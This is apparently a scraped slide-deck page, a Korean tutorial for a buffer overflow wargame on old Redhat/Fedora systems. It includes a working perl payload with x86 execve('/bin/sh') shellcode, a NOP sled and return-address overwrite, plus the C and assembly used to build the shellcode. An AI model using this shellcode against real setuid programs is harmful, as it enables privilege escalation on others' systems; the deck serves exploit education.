1 / 13

BOF 원정대

BOF 원정대. 김영성. CONTENTS. INDEX. 1 BOF 원정대 방식. 2 공격코드 삽입. 3 공격코드 작성. CONTENTS. 1] BOF 원정대. 1 Redhat 6.2 ~ Fedora 14 까지 진행하는 레벨 별 BOF 해킹실습 War-game. 2 /bin/my-pass. 3 Setuid. Owner Group Others. R W X. R W X. R W X. 2] 공격코드 삽입 (1).

arama
Télécharger la présentation

BOF 원정대

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. BOF 원정대 김영성

  2. CONTENTS INDEX 1 BOF 원정대 방식 2공격코드 삽입 3공격코드 작성

  3. CONTENTS 1] BOF 원정대 1 Redhat 6.2 ~ Fedora 14 까지 진행하는 레벨 별 BOF 해킹실습 War-game 2 /bin/my-pass 3 Setuid Owner Group Others R W X R W X R W X

  4. 2] 공격코드 삽입(1) • < 삽입할 코드 > • `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x235,"\x28\xf9\xff\xbf"'` • < \x의 의미 > • \x31 에서 \x의 의미는 31자체를 16진수 1byte로 삽입하라는 뜻 • <perl> • `perl –e ‘print “~~~~~~”’` 이 기본구조 • 반복할 문자가 있을 경우 “\x90”x235 처럼 사용가능 contants 01

  5. 2] 공격코드 삽입(2) 0xbffff928 ebp-256 Return주소 `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x235, "\x28\xf9\xff\xbf"'` 260 ebp-4 0xbffffa28 ebp-> sfp contants 01 ebp+4 Return주소

  6. CONTENTS 3] 공격코드 작성 1 C언어 코드 작성, 어셈변환 2필요한 부분만 어셈블리어 재작성 3 NULL이 포함된 바이너리 바꿔주기

  7. Shell을 띄우기 위해서는? -> System(), exec(), execve() ….등 쉘을 띄울 수 있는 함수를 이용 main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0] ,name, NULL); } gcc bof.c –static –o bof * -static 옵션은 정적라이브러리 생성을 위해 사용 contants 01

  8. Shell을 띄우기 위해서는? sfp sfp <-ebp ret ebp-14 “/bin/sh” 주소 <-ebp+8 ebp-10 ebp-8의 주소 <-ebp+c ebp-c 0x0 <-ebp+10 ebp-8 “/bin/sh” 주소 ebp-4 NULL ebp-> sfp ret contants 01

  9. Shell을 띄우기 위해서는? contants 01

  10. Shell을 띄우기 위해서는? .globl main main: jmp strings start: popl %esi movb $0x00, 0x7(%esi) movl %esi, 0x8(%esi) movb $0x00, 0xc(%esi) movl $0x0b, %eax movl %esi, %ebx leal 0x8(%esi), %ecx movl 0xc(%esi), %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx int $0x80 strings:call start .string "/bin/sh" contants 01

  11. 03│ NULL 이 포함된 바이너리코드 바꿔주기(1) contants 01

  12. 참고자료 *** How to make shellcode in linux for beginners *** by Willy in Null@Root contants 01

  13. THANK YOU

More Related